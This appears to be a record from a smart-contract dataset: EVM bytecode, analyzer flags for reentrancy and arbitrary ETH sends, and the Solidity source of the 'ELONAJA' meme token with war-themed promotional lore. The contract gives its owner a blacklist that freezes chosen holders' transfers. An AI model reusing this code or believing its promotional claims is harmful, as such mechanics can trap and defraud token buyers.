ffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60046009819055506006600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b601e4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960048461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660068461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220485f942ae383c51c60da74a6a587132b13590f8699dbc786eea7e3e0c78c3d1264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,970 |
0xeac8976401037b0f1a706d915285d442423b9b3c
|
/*
https://t.me/elonaja
Let’s bet on who's gonna win this duel.
Elona was one of the most talented ninjas and assassins in the entire world and a founding member of the Starlink intelligence. As a child, she was indoctrinated into Tesla by General Musk. After the Cuban missile crisis, Elona developed a cautious attitude towards the USSR, later known as Russia
Having extensive mastery in martial arts and armed with the highest technology provided by the STARLINK industries, Elona became one of Starlink intelligence's most efficient agents, using the title given by Musk as her codename, Elonaja.
When Russia declared war on Ukraine. Elonaja was sent to Russia to operate the most secret mission. Before she left US, she declared “I hereby challenge Владимир Путин to single combat Stakes are Україна”
https://t.me/elonaja
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ELONAJA is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"ELONAJA";
string public constant symbol = unicode"ELONAJA";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (5 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/3;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function initPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function startTrade() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 20000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeCollectionADD);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101dc5760003560e01c80636c58080111610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb61461053f578063dcb0e0ad14610554578063dd62ed3e14610574578063feb1dfcc146105ba57600080fd5b8063a9059cbb146104ca578063b2289c62146104ea578063b515566a1461050a578063c3c8cd801461052a57600080fd5b806373f54a11116100d157806373f54a111461046c5780638da5cb5b1461048c57806394b8d8f2146104aa57806395d89b41146101e857600080fd5b80636c5808011461040d5780636fc3eaec1461042257806370a0823114610437578063715018a61461045757600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461038957806345596e2e1461039f57806349bd5a5e146103bf578063590f897e146103f757600080fd5b8063313ce567146102f357806331c2d8471461031a57806332d873d81461033a5780633bbac5791461035057600080fd5b806318160ddd116101b657806318160ddd146102835780631940d020146102a857806323b872dd146102be57806327f3a72a146102de57600080fd5b806306fdde03146101e8578063095ea7b3146102315780630b78f9c01461026157600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b5061021b60405180604001604052806007815260200166454c4f4e414a4160c81b81525081565b6040516102289190611757565b60405180910390f35b34801561023d57600080fd5b5061025161024c3660046117d1565b6105cf565b6040519015158152602001610228565b34801561026d57600080fd5b5061028161027c3660046117fd565b6105e5565b005b34801561028f57600080fd5b50670de0b6b3a76400005b604051908152602001610228565b3480156102b457600080fd5b5061029a600c5481565b3480156102ca57600080fd5b506102516102d936600461181f565b61067a565b3480156102ea57600080fd5b5061029a6106ce565b3480156102ff57600080fd5b50610308600981565b60405160ff9091168152602001610228565b34801561032657600080fd5b50610281610335366004611876565b6106de565b34801561034657600080fd5b5061029a600d5481565b34801561035c57600080fd5b5061025161036b36600461193b565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039557600080fd5b5061029a60095481565b3480156103ab57600080fd5b506102816103ba366004611958565b61076a565b3480156103cb57600080fd5b506008546103df906001600160a01b031681565b6040516001600160a01b039091168152602001610228565b34801561040357600080fd5b5061029a600a5481565b34801561041957600080fd5b50610281610830565b34801561042e57600080fd5b50610281610a21565b34801561044357600080fd5b5061029a61045236600461193b565b610a2e565b34801561046357600080fd5b50610281610a49565b34801561047857600080fd5b5061028161048736600461193b565b610abd565b34801561049857600080fd5b506000546001600160a01b03166103df565b3480156104b657600080fd5b50600e546102519062010000900460ff1681565b3480156104d657600080fd5b506102516104e53660046117d1565b610b2b565b3480156104f657600080fd5b506007546103df906001600160a01b031681565b34801561051657600080fd5b50610281610525366004611876565b610b38565b34801561053657600080fd5b50610281610c51565b34801561054b57600080fd5b5061029a610c67565b34801561056057600080fd5b5061028161056f36600461197f565b610c7f565b34801561058057600080fd5b5061029a61058f36600461199c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105c657600080fd5b50610281610cfc565b60006105dc338484610f01565b50600192915050565b6000546001600160a01b031633146106185760405162461bcd60e51b815260040161060f906119d5565b60405180910390fd5b6009548210801561062a5750600a5481105b61063357600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000610687848484611025565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106b6908490611a20565b9